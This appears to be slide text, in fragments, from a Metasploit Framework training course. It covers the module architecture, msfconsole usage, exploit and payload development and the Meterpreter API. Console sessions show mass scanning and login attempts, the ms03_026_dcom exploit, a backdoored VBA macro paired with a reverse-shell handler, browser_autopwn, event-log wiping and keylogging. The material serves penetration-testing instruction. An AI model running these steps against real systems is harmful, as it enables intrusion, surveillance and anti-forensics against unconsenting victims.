2004 (Better Perl) 2.7 released in late 2006 3.0 released in 2007 (Ruby) 3.2 released in late 2008 3.3 released in late 2009 3.3.4 in the next two weeks
the meat of the framework code base data: editable files used by Metasploit tools: various useful command-line utils modules: the actual modules plugins: loadable plugins scripts: metepreter and other scripts external: source code and third-party libs
most tasks Sockets, protocols, text transformations SSL, SMB, HTTP, XOR, Base64, Unicode Msf::Core provides the 'basic' API Defines the framework Msf::Base provides the 'friendly' API Simplified APIs for the framework
you should ALWAYS use Most features and the most stable Windows supported via Cygwin msfgui, msfweb, msfcli Useful for specific tasks Less supported
use payloads Exploits without payloads: Auxiliary Payloads, Encoders, Nops Payloads run remotely Encoders make sure they get there Nops keep payloads sizes consistent
$install/modules/<type>/<group> User-specific module tree Under ~/.msf3/modules/<type>/<group> Useful for private module sets Load additional trees at runtime The “-m” option to msfconsole The “loadpath” command in msfconsole
Inherit from the type-specific class Which inherits from the Msf::Module class Shared common API between modules Payloads are slightly different Created at runtime from components Glue together stagers with stages
Mixins “include” one class into another Different but similar to inheritance Mixins can override a class methods Allows modules to have different flavors Protocol-specific (ex: HTTP, SMB) Behavior-specific (ex: brute force)
Manipulate the framework as whole Hook into the event subsystem Automate specific tasks Plugins only work in the console Add new console commands Extend framework functionality
readline support, tabbing, completion Preferred interface of the developers Unrecognized commands passed to the shell Run other tools from within metasploit
-r <filename> Execute the specified resource file -c <filename> Load the specified configuration file -m <directory> Specifies an additional module search path -v, --version Show version Common options: -h, --help Show this message
read a module description before using The info command also provides Author and licensing information Vulnerability references Payload restrictions
Authenticated User Code Execution Version: 6118 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Provided by: hdm <[email protected]> Payload information: Space: 8192 Description: This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. References: http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx
background Provides the ability to list and terminate jobs msf > jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -h Help banner. -k <opt> Terminate the specified job name. -l List all running jobs.
directory Pass arguments as key=val on the shell msf > load Usage: load <path> [var=val var=val ...] Load a plugin from the supplied path. The optional var=val options are custom parameters that can be passed to plugins. msf > load pcap_log [*] Successfully loaded plugin: pcap_log
Sessions can be shells, meterpreter, vnc, etc msf > sessions Usage: sessions [options] Active session manipulation and interaction. OPTIONS: -d <opt> Detach an interactive session -h Help banner. -i <opt> Interact with the supplied session identifier. -k <opt> Terminate session. -l List all active sessions. -q Quiet mode. -v List verbose fields.
Global datastore overrides per-module datastore msf > set VAR 1234 VAR => 1234 msf > set DebugLevel 5 DebugLevel => 5 msf > set PAYLOAD windows/shell/reverse_tcp msf > set LHOST 192.168.0.1 msf > set LPORT 2323
Remove all variables with “unset all” msf > set VAR 1234 VAR => 1234 msf > set Global ====== VAR 1234 msf > unset VAR Unsetting VAR... msf > set Global ====== No entries in data store.
Exposes type specific commands Changes set and unset from global to module msf > use exploit/multi/handler msf > use payload/windows/shell_bind_tcp msf > use nop/x86/opty2 msf > use auxiliary/scanner/smb/version msf type(name) > back msf >
the generate command msf > use payload/windows/shell_bind_tcp msf payload(shell_bind_tcp) > generate -h Usage: generate [options] OPTIONS: -b <opt> The list of characters to avoid: '\x00\xff' -e <opt> The name of the encoder module to use. -f <opt> The output file name (otherwise stdout) -h Help banner. -o <opt> A comma separated list of options in VAR=VAL format. -s <opt> NOP sled length. -t <opt> The output type: ruby, perl, c, or raw.
Adds the generate command msf > use nop/x86/opty2 msf nop(opty2) > generate -h Usage: generate [options] length Generates a NOP sled of a given length. OPTIONS: -b <opt> The list of characters to avoid: '\x00\xff' -h Help banner. -s <opt> The comma separated list of registers to save. -t <opt> The output type: ruby, perl, c, or raw.
> use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) > help Exploit Commands ================ Command Description ------- ----------- check Check to see if a target is vulnerable exploit Launch an exploit attempt rcheck Reloads the module and checks if the target is vulnerable rexploit Reloads the module and launches an exploit attempt msf exploit(ms03_026_dcom) > set RHOST 192.168.0.128 msf exploit(ms03_026_dcom) > check
msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) > show targets msf exploit(ms03_026_dcom) > show payloads msf exploit(ms03_026_dcom) > show options msf exploit(ms03_026_dcom) > show advanced msf exploit(ms03_026_dcom) > show evasion
the console Adds the run command (exploit is an alias) Adds new options to the show command msf > use auxiliary/scanner/smb/version msf auxiliary(version) > show actions
rerun, rcheck, and reload Useful for module development msf > use auxiliary/scanner/smb/version msf auxiliary(version) > set RHOSTS 192.168.0.128 msf auxiliary(version) > run [ make changes to the module source code ] msf auxiliary(version) > rerun
rerun, rcheck, and reload Useful for module development msf > use auxiliary/scanner/smb/version msf auxiliary(version) > set RHOSTS 192.168.0.128 msf auxiliary(version) > run [ make changes to the module source code ] msf auxiliary(version) > rerun
process environment Global environment (setg & unsetg) Module environment (set & unset) The save command preserves both Save time using the saved datastore Set common variables as globals LHOST, LPORT, PAYLOAD Preconfigure common exploits TARGET, DCERPC::max_frag_size
FAST to use Depends on the ruby readline extension Nearly every command has tab completion use exploit/windows/dce<tab> use .*netapi.*<tab> set LHOST <tab> show <tab> set TARGET <tab> set PAYLOAD windows/shell/<tab> exp<tab>
shell payload with msfconsole Generate output In Ruby format Generate without bytes 0x00, 0x02, 0x08 Generate without byte 0xd9 (what changed?) Generate multiple times What parts stay similar?
Mode Description ---- ----------- (H)elp You're looking at it baby! (S)ummary Show information about this module (O)ptions Show available options for this module (A)dvanced Show available advanced options for this module (I)DS Evasion Show available ids evasion options for this module (P)ayloads Show available payloads for this module (T)argets Show available targets for this exploit module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module
Authenticated with user/pass over SSL Implementation under lib/msf/core/rpc/ Underlying protocol is XMLRPC + NULL byte Useful for product integration and automation End goal is a client-only msfconsole interface Use a single dedicated host for metasploit Share access to compromised systems Integrate manual testing with automated tools
useful service scanners Simple module format, easy to use Specify ranges as RHOSTS vs RHOST Specify THREADS for concurrency Keep this under 16 on Native Win32 Keep this under 200 on Cygwin UNIX: 256 works just fine
This class has some interesting features: # Target a CIDR mask (192.168.1.0 -> 192.168.1.255) msf auxiliary(module)> set RHOSTS 192.168.1.0/24 # Target a specific range of IP addresses msf auxiliary(module)> set RHOSTS 192.168.1.100-192.168.1.255 # Target all IP addresses in a hostname's subnet msf auxiliary(module)> set RHOSTS metasploit.com/24 # Target multiple ranges listed line-by-line in a text file msf auxiliary(module)> set RHOSTS file:/tmp/ranges.txt # Target a IPv6 address (ranges are pointless, as shown later) msf auxiliary(module)> set RHOSTS fe80::21c:63ff:fed8:ba32 # Soon to be implemented, targeting based on database contents msf auxiliary(module)> set RHOSTS db:/hosts,mask=192.168.1.0/24,port=80
Provided by: hdm <[email protected]> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads Description: Detect common UDP services msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24 msf auxiliary(udp_sweep) > run [*] Sending 7 probes to 192.168.1.0->192.168.1.255 (256 hosts) [ ...]
options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads msf auxiliary(version) > show advanced Module advanced options: Name : ConnectTimeout Current Setting: 10 Description : Maximum number of seconds to establish a TCP connection Name : Proxies Current Setting: Description : Use a proxy chain
THREADS 100 msf auxiliary(version) > set ConnectTimeout 2 msf auxiliary(version) > run [*] 192.168.1.65 is running Windows 2003 Service Pack 2 [*] 192.168.1.15 is running Windows XP Service Pack 2+ [*] 192.168.1.57 is running Windows XP Service Pack 2+ [*] 192.168.1.86 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.93 is running Windows XP Service Pack 2+ [*] 192.168.1.62 is running Windows XP Service Pack 2+ [*] 192.168.1.111 is running Unix Samba 3.0.22 [*] 192.168.1.121 is running Unix Samba 3.0.28a [*] 192.168.1.110 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.144 is running Unix Samba 3.0.28a [*] 192.168.1.161 is running Unix Samba 3.0.24-7.fc5 [*] 192.168.1.182 is running Unix Samba 3.0.26a [*] 192.168.1.138 is running Windows 2003 Service Pack 2 [*] 192.168.1.140 is running Windows XP Service Pack 2+ [*] 192.168.1.181 is running Windows XP Service Pack 2+ [*] 192.168.1.107 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.204 is running Unix Samba 3.0.28a [*] 192.168.1.224 is running Unix Samba 3.0.28-1.el5_2.1
options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port SSL false no Use SSL THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host msf auxiliary(http_version) > set RHOSTS 192.168.1.0/24 msf auxiliary(http_version) > set THREADS 100 msf auxiliary(http_version) > set ConnectTimeout 2 msf auxiliary(http_version) > run [*] 192.168.1.211 is running thttpd/2.25b 29dec2003 [*] 192.168.1.216 is running Allegro-Software-RomPager/2.10 [*] 192.168.1.222 is running Virata-EmWeb/R6_0_1 [*] 192.168.1.229 is running cisco-IOS [*] 192.168.1.232 is running Web Server [*] 192.168.1.205 is running Apache
options: Name Current Setting Required Description ---- --------------- -------- ----------- MSSQL_PASS no The password for the specified username MSSQL_USER sa no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mssql_login) > set RHOSTS 192.168.1.0/24 msf auxiliary(mssql_login) > set THREADS 100 msf auxiliary(mssql_login) > set ConnectTimeout 2 msf auxiliary(mssql_login) > run [*] 192.168.1.41:1433 failed to login as 'sa' [*] 192.168.1.53:1433 failed to login as 'sa' [*] 192.168.1.54:1433 failed to login as 'sa' [*] 192.168.1.55:1433 failed to login as 'sa' [*] 192.168.1.44:1433 failed to login as 'sa' [*] 192.168.1.58:1433 failed to login as 'sa' [*] 192.168.1.61:1433 failed to login as 'sa'
options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier SMBPIPE LSASS yes The pipe name to use (LSASS) THREADS 1 yes The number of concurrent threads msf auxiliary(pipe_dcerpc_auditor) > set RHOSTS 192.168.1.47 msf auxiliary(pipe_dcerpc_auditor) > set SMBPIPE browser msf auxiliary(pipe_dcerpc_auditor) > run 192.168.1.47 - UUID 00000131-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 00000134-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 00000143-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 000001a0-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 06bba54a-be05-49f9-b0a0-30f790261023 1.0 OPEN VIA browser 192.168.1.47 - UUID 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 1.0 OPEN VIA browser 192.168.1.47 - UUID 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 1.0 OPEN VIA browser 192.168.1.47 - UUID 12b81e99-f207-4a4c-85d3-77b42f76fd14 1.0 OPEN VIA browser 192.168.1.47 - UUID 18f70770-8e64-11cf-9af1-0020af6e72f4 0.0 OPEN VIA browser 192.168.1.47 - UUID 1ff70682-0a51-30e8-076d-740be8cee98b 1.0 OPEN VIA browser 192.168.1.47 - UUID 20610036-fa22-11cf-9823-00a0c911e5df 1.0 OPEN VIA browser 192.168.1.47 - UUID 2f5f6520-ca46-1067-b319-00dd010662da 1.0 OPEN VIA browser 192.168.1.47 - UUID 2f5f6521-cb55-1059-b446-00df0bce31db 1.0 OPEN VIA browser
exploit classes and methods Support for proxies, SSL, reporting Built-in threading and range scanning Easy to write and run quickly Extremely useful for security audits Find every instance of a bad password Scan for an in-house vulnerable service
the 'exploit' mixins (TCP, SMB) Then includes 'auxiliary' mixins (Scanner) The Auxiliary::Scanner mixin Overloads the Auxiliary “run” method Calls your module method at runtime: run_host(ip) run_range(range) run_batch(batch) Process the IP address(es)
port 9999 Send “password\r\n” Receive the data Display the data Auxiliary template available at: http://192.168.1.2/shared/myscanner.rb Install into: ~/.msf3/modules/auxiliary/class/myscanner.rb Hint: $ mkdir -p ~/.msf3/modules/auxiliary/class
PcapRub library is used to sniff and send Racket library is used to decode and create PcapRub must be compiled and installed cd msf3/external/source/pcaprub/ ruby extconf.rb && make install Only really tested on Linux and requires root Should work on BSD & Mac OS X (no Win32)
msf auxiliary(syn) > set PORTS 1-1000 msf auxiliary(syn) > run [*] TCP OPEN 192.168.1.1:22 [*] TCP OPEN 192.168.1.1:53 [*] TCP OPEN 192.168.1.1:80 msf > use auxiliary/scanner/discovery/arp_sweep msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24 msf auxiliary(arp_sweep) > run [*] 192.168.1.116 appears to be up. msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) > run [*] Loaded protocol FTP from data/exploits/psnuffle/ftp.rb... [*] Loaded protocol URL from data/exploits/psnuffle/url.rb... [*] Sniffing traffic..... -> Get request sniffed: 91.203.99.45/?host=slashdot.org&hdn=NxA6 -> Get request sniffed: 91.203.99.45/?host=www.slashdot.org&hdn -> Get request sniffed: 91.203.99.45/?host=www.bofa.com&hdn=vNV -> Get request sniffed: 91.203.99.45/?host=www.bofa.com&hdn=vN # ^- Opera 10b2 logging all web sites visited
on a database Check for a live database connection Check for a duplicate record (same data) Write a record into the table The database drivers are now autoloaded db_driver sqlite3 (postgres, mysql) The same schema as db_autopwn
much as we can to framework Rely on the Rex protocol libraries Make heavy use of the mixins Exploits should be reliable BadChars must be 100% accurate Payload->Space is the maximum reliable Little details matter the most
generate padding Randomize all payloads with encoders Randomize encoder stub if possible Randomize nops as well Randomization has benefits IDS, IPS, AV evasion are handy Also a great reliability test!
hard-tab indents Fancy code is harder to maintain Mixins provide consistent option names Exploits should be useful Proof of concepts should be Auxiliary DoS Exploit reliability must be high Target lists should be inclusive
Payload information block A listing of available Targets Define exploit() & check() vs run() Exploits always have Payloads No payload makes it an Auxiliary Payload details are covered later
non-payloads options are verified Perform the vulnerability test Return a defined Check value Return values for check() CheckCode::Safe # not exploitable CheckCode::Detected # service detected CheckCode::Appears # vuln version CheckCode::Vulnerable # confirmed! CheckCode::Unsupported
# disconnect since have cached it as self.banner disconnect case banner when /Serv-U FTP Server v4\.1/ print_status('Found version 4.1.0.3, exploitable') return Exploit::CheckCode::Vulnerable when /Serv-U FTP Server/ print_status('Found an unknown version, try it!'); return Exploit::CheckCode::Detected else print_status('We could not recognize the server banner') return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end
only has one parent A class may include many Modules Modules can add new methods Modules can overload old methods Metasploit modules inherit Msf::Module They include mixins to add features Mixins can change how they work
< MyParent end object = MyClass.new object.woof() => “woof!” ================================================================ module MyMixin def woof puts “hijacked the woof method!” end end class MyBetterClass < MyClass include MyMixin end MyBetterClass.new.woof() => “hijacked the woof method!”
by the TCP mixin connect() overloaded by FTP, SMB, others Mixins can change behavior The Scanner mixin overloads run() Changes run() for run_host(), run_range() Calls these in parallel based on THREADS The BruteForce mixin is similar
exploit_target(target) for each Target Handy for easy target iteration lib/msf/core/exploit/brute.rb Overloads the exploit() method Calls brute_exploit() for each stepping Easily brute force an address range
option names 'Ret' is shortcutted as target.ret() 'Payload' overloads the exploit's info block Options are used to store target data Windows 2000 needs this return address Windows XP needs 500 bytes of padding Windows Vista NX bypass address
is the user's selected target Accessed in the exploit as a hash target['padcount'] target['Rets'][0] target['Payload']['BadChars'] target['opnum']
packs change addresses Different version of the software Addresses shifted due to hooks To find a new return address Determine the type of return address Obtain a copy of the target binaries Use msfpescan to locate a return
smashes use “jmp esp” SEH overwrites use “pop/pop/ret” Sometimes need “jmp <reg>” returns Determining the type of return Look for a comment in the exploit code Examine the target binary for the old return
# # Find a copy of umpnpmgr.dll from Windows 2000 SP4 # $ msfpescan -D -a 0x767a38f6 win2000sp4.umpnpmgr.dll [win200sp4.umpnpmgr.dll] 0x767a38f6 5f5ec3558bec6aff68003c7a7668e427 00000000 5F pop edi 00000001 5E pop esi 00000002 C3 ret 00000003 55 push ebp 00000004 8BEC mov ebp,esp 00000006 6AFF push byte -0x1 00000008 68003C7A76 push 0x767a3c00 0000000D 68 db 0x68 0000000E E427 in al,0x27 # We need a pop/pop/ret return address
OS / SP / Language # $ msfpescan -p targetos.umpnpmgr.dll [targetos.umpnpmgr.dll] 0x79001567 pop eax; pop esi; ret 0x79011e0b pop eax; pop esi; retn 0x0008 0x79012749 pop esi; pop ebp; retn 0x0010 0x7901285c pop edi; pop esi; retn 0x0004 # # Add a target to our exploit with the new address # 'Windows 2000 SP0-SP4 Russian Language', { 'Ret' => 0x7901285c, # umpnpmgr.dll russian 2000 sp4 }
– exploit a specific host and exit Passive – wait for incoming hosts and exploit Active exploits run until completion Brute force modules exit when a shell opens Module execution stops in the case of an error Force an active module to background: exploit -j
browser, sniffer responses, etc Also used for email exploits to wait for shells Passive exploits report shells as they happen Use sessions -l to enumeration shells Use sessions -i to interact with a shell
compatible architecture and OS Look at the 'PayloadCompat' & 'Compat' blocks Look at the 'privileged' flag Look at the payload size Exploits indicate compatibility Tag 'findsock' enables findsock payloads Other tags for specific cases 'RequiredCmds' => 'netcat-e perl ruby bash'
registers Must be under the max size Must avoid BadChars Encoders are ranked Select a nop generator Tries most random first Nops are also ranked
stub adds another 40 The Payload Space is 900 The Nops fill in the 560 remaining Final payload.encoded is 900 bytes Avoid this with: 'DisableNops' => true
prefixes “sub esp” code 'MinNops', 'MaxNops', 'DisableNops' 'Prefix' places data before the payload 'PrefixEncoder' places it before the stub These options can go into Targets Allows different BadChars for targets Allows Targets to hit different Arch and OS
– completely standalone Stagers – setup a network connection Stages – downloaded by stagers Allows for different scenarios Stagers for large advanced stages Singles for non-networked targets
to always do both well Result is multiple similar stages Use the best one when we can Fall back when we can't Windows NX vs NO-NX stagers Reliability issue for NX CPUs and DEP NX stagers are bigger (VirtualAlloc) Default is now NX + Win7 compatible
VNC Injection iPhone 'ipwn' Shell Automatically uses 'middle stagers' A single recv() fails with large payloads Stager receives the middle stager Middle stages performs a full download Also better for RWX
+ stages Staging is represented by / in the name windows/shell_bind_tcp This is a single payload, no stage windows/shell/bind_tcp bind_tcp is the stager, shell is the stage
that accepts any payload Does nothing but “handle” the payload Useful for social engineering tests Ex: windows/shell/bind_tcp Repeatedly connect to RHOST:RPORT Upload the payload stage on connect Interact with the uploaded stage (shell)
Choose between reverse and bind stagers Specify the connect back host and port Configure exploit/multi/handler in msfconsole Force the payload to execute on login/boot Place into the Start Menu: Startup folder Autorun via registry, logon script, etc
| \ msfencode -c 5 -t vba -o backdoor.vba [ Copy this VBA into a new macro within a Word or Excel doc ] msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter_reverse_tcp msf exploit(handler) > set LHOST 192.168.0.2 msf exploit(handler) > set LPORT 12345 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j [ Send the document to your target(s) ] msf exploit(handler) > sessions -i 1 meterpreter > [ CLI ./tools/exe2vba.rb test.exe output.vba ]
to be patched in? What type of handler does it require? What target requirements does it have? Singles: modules/payload/singles/<os> Naming is <function>_<transport> shell_bind_tcp, useradd, or exec
thread – call ExitThread() process – call ExitProcess() seh – call *0x00000000 Exploit usually overrides this per app Multiple exploitation (ex: ms03_026_dcom) Force the service to restart (seh)
the <transport> bind_tcp, reverse_tcp, findsock, etc Stagers require a 'Convention' Determines the API for stages Common ones are 'sockedi' and 'sockesi' Indicate the register with the socket
the <action> shell, meterpreter, exec, vncinject Match up with the Stager 'Convention' May involve an intermediate stage Increases reliability for laggy networks Avoids segmentation issues
Meterpreter extends the injection class VNCInjection works the same way Non-standard session types Meterpreter has its own session class VNCInject uses a TCP relay session set DisableCourtesyShell true
an EXE around vncinject Pipe this to msfencode to encode it Encode this 6 times Encode this 6 times with 6 encoders Configure msfconsole to handle this EXE
from ASM and C Processes both X86 and MIPS Much more at http://metasm.cr0.org/ Standard payload classes Source code is in C or plain ASM Nifty way to patch variables No C examples in Metasploit (yet)
instance Interact with sessions and run modules Access the framework database Why write a new plugin? Automate exploitation tasks Log all socket operations Integrate with other tools
other applications Automate command execution Log all events to create a report Labs just scratched the surface Look at the examples in plugins/ Meterpreter automation...
stagers Extended at runtime over the network Communicates over stager socket Coprehensive client-side Ruby API Development history Written by skape for Metasploit 2.x Common extensions merged for 3.x Undergoing an overhaul for 3.3
stager Usually one of bind, reverse, findtag, passivex, etc The stager loads the middle stage Provides a reliable transfer mechanism The middle stage loads the DLL injector* Patches the Windows API for in-memory DLL injection The DLL injector loads the Meterpreter core A standard Windows DLL exporting: Init(int sock, int flags) The Meterpreter loads extensions Always loads stdapi, sometimes loads priv
Usually one of bind, reverse, findtag, passivex, etc The stager loads the DLL prefixed with Reflective Reflective stub handles the loading/injection of the DLL The Meterpreter core initializes Establishes a TLS/1.0 link over the socket, sends a GET Metasploit receives the GET and configures the client The Meterpreter loads extensions Always loads stdapi, loads priv if the module gives admin All of these are loaded over TLS/1.0 using a TLV protocol
processes, encrypted comms Limited forensic evidence and impact Powerful Channelized communication system TLV protocol has few limitations Extensible Runtime feature augmentation New features without rebuilding
Compiled with MSVC now, somewhat portable All communications are now over TLS/1.0 Implements a basic TLV-based packet protocol Exposes channel allocation and mgmt interface Supports migration to another running process Supports loading new extensions over the network The client can be written in any language Metasploit has a full-feature Ruby client API
The client uploads the DLL over the socket The server loads the DLL in-memory and initializes The extension registers itself with the server The client loads the local extension API The client can now call the extensions functions This process is seamless and takes ~1 second
platform Manipulate file system, registry, network, processes... Automatically loaded when Meterpreter starts Priv Provides in-memory pwdump alternative Includes timestomp for anti-forensics work Incognito Utilities for finding and hijacking security tokens
extensions are loaded Provides a powerful shell for penetration testing Features: history, tab completion, channels The Meterpreter Ruby API The user commands only scratch the surface The real power of Meterpeter is the client API Equivalent to remote, in-memory scripting
drop into Ruby at any time The session object is the Meterpreter client msf > irb irb > client = framework.sessions[1] From the meterpreter prompt Enter irb to drop into Ruby at any time The client variable is the Meterpreter session meterpreter > irb irb > client
Execute the run command to launch a script Pass arguments to each script via parameters meterpreter > run myscript arg1 arg2... Script location: msf3/scripts/meterpreter Many useful and reference scripts available
Accessed via API as client.core.* client.core.use( name ) Loads a new Meterpreter extension by name Handles both the client and server side client.core.migrate( pid ) Moves Meterpreter into another process Keeps the existing socket open Unloads all extensions but stdapi
Broken down into sub-groups by function Stdapi feature highlights Enumerate the filesystem and read/write files List interfaces and pivot network connections Read, write, and browse the registry Manage processes and threads Execute commands Monitor user activity
upload, and delete files Method Description entries(path) Enumerates directory contents chdir(path) Change directories to path mkdir(path) Make a directory getwd Get the current working directory delete(path) Remove a directory download(dst, src, recursive) Download a directory’s contents to local upload(dst, src, recursive) Upload a directory to remote
uploads and downloads Method Description expand_path(path) Expands the environment strings in a path stat(path) Tests if a file exists and returns info about it upload(dest, files) Uploads one or more files to the remote directory download(dest, files) Downloads one or more files to the local directory
a local one client.fs.file.new( path ) Method Description seek(offset, whence) Seeks to an offset within the file read(length) Reads length bytes from the file write(buffer) Writes the buffer to the file close Closes the file
and routes Useful for finding new targets and island-hopping Method Description each_interface Enumerates the server’s network interfaces get_interfaces Returns an array of the server’s network interfaces each_route Enumerates the server’s routing table get_routes Returns an array of the server’s routing table add_route(s, n, g) Adds a route remove_route(s, n, g) Removes a route
machines behind a firewall Launch exploits from the target Still somewhat buggy and slow Metasploit socket API can relay over Meterpreter Meterpreter implements the Comm interface Route specific subnets via msfconsole route cmd
the system and user Useful privilege commands: getuid and revert_to_self Method Description getuid Returns the user identifier of the server process sysinfo Returns a hash with computer name and OS information revert_to_self Calls RevertToSelf to restore privileges if necessary
Provides the ability to read event log entries Can also be used to wipe the logs :-) meterpreter > irb >> e = client.sys.eventlog.open( “Application“) >> e.length => 8974 >> rec = e.read_forwards >> rec.strings => ["C:\\Virtual Machines\\Microsoft Vista\\Windows Vist... >> e.clear
running processes Open a process and get a useable handle Method Description open(pid, perms) Opens the specified process pid execute(path, args, opts) Executes the specified executable kill(pid) Kills the specified process pid getpid Returns the server’s process identifier each_process Enumerates running processes processes Returns an array of running processes
DLLs in a given process Inject a DLL into any target process Method Description load(path) Injects a DLL into the process get_procedure_address(base, name) Lookup function addresses unload(base) Unloads a DLL each_image Enumerates the loaded images get_images Returns an array of image info
enumerate memory allocations Read and write from a process's memory Method Description allocate(len, prot, base) Allocates memory of the specified size free(base, len) Deallocates memory at base read(base, len) Reads memory at the specified base address write(base, data) Writes memory to the specified base address query(base) Queries information about a base address protect(base, len, prot) Changes page protections on a region lock(base, length) Lock pages in memory to prevent swapping
process threads Create a new thread at a specific location each_thread Enumerates the running threads get_threads Returns an array of threads create(entry, param) Creates a new thread at the specified entry point
the registry Method Description open_key(rk, bk, perm) Opens a registry key create_key(rk, bk, perm) Creates a registry key delete_key(rk, bk, recursive) Deletes a registry key close_key(hk) Closes an open key enum_key(hk) Returns an array of sub-keys set_value(hk, name, type, val) Sets a registry value query_value(hk, name) Queries a registry value delete_value(hk, name) Deletes a registry value
the desktop user Method Description enable_keyboard Enables the keyboard disable_keyboard Disables the keyboard enable_mouse Enables the mouse disable_mouse Disables the mouse idle_time Shows user idle time in seconds
active user Requires migrating to an interactive process Method Description keyscan_start Start the keystroke logger keyscan_stop Stop the keystroke logger keyscan_dump Dump the current keystroke buffer enumdesktops Enumerate all desktops setdesktop Change to another desktop
Uses the MicroOLAP Packet Sniffer SDK ($$$) Works great, but still BETA quality Espia Capture remote audio, video, and screencasts Still under heavy development
channel traffic Stores up to 200,000 packets in a ring buffer Exports the capture in standard PCAP format Use psnuffle, dsniff, wireshark to process Easy way to capture passwords and data Still in BETA (can BSOD on sniffer_stop)
FreeBSD, other Unix ( works July 26th 4:00am! ) Merging this with Dino/Charlie's Mac OS X work Meterpreter reimplemented in PHP Similar functionality, still in development Break out of web apps into the system Meterpreter ported to the iPhone Charlie Miller is speaking on this at Black Hat
Externally-exposed systems often patched Limited number of applications and services Managed by professional administrators Switch to attacking the users, not the servers Patch levels differ between workstations Large number of reachable applications Barely managed by non-IT users
a list of target user accounts Determine what applications are in use Discover what filtering products are in place Tons of great tools for this Maltego: http://paterva.com/ BotsVsBrowsers: http://botsvsbrowsers.com/ Search engines (not just Google)
of web browser flaws Many different file formats Specific media players Create a list of specific modules to use Review the modules for any requirements Match exploit targets to target app versions
URL Use a msfconsole resource file to automate Use global vars for common options Set unique LPORTs for reverse payloads Combine multiple exploits using IFRAMEs and JS Create a Mac OS X exploit page Create a “everything page” Place on own web server
massive rewrite Fingerprints browsers with CSS and JS Combines ~10 different exploit modules Reverse shell payloads increment ports Still somewhat limited No granular payload control Hard to apply per-exploit options
LHOST 192.168.0.139 msf auxiliary(browser_autopwn) > set SRVPORT 8888 msf auxiliary(browser_autopwn) > set URIPATH /autopwn msf auxiliary(browser_autopwn) > run [ loading output from every exploit module ] [ target browses to http://192.168.0.139:8888/autopwn ] [*] Request '/autopwn' from 192.168.0.118:1064 [*] Recording detection from User-Agent [*] Browser claims to be MSIE 7.0, running on Windows XP [*] Responding with exploits [*] Command shell session 1 opened (192.168.0.118:4444)
every module Implemented via protocol libraries and mixins Setting shared among similar modules Payload and padding is randomized Encoders are somewhat randomized Nop padding is extensively randomized Exploit modules use random string generation Rex::Text provides all of these methods
data N bytes at a time Disables Nagle algorithm Effective! Minimum send delay (TCP::send_delay) Forces a delay between each segment Slow streams time out from IDS/IPS Combine with send size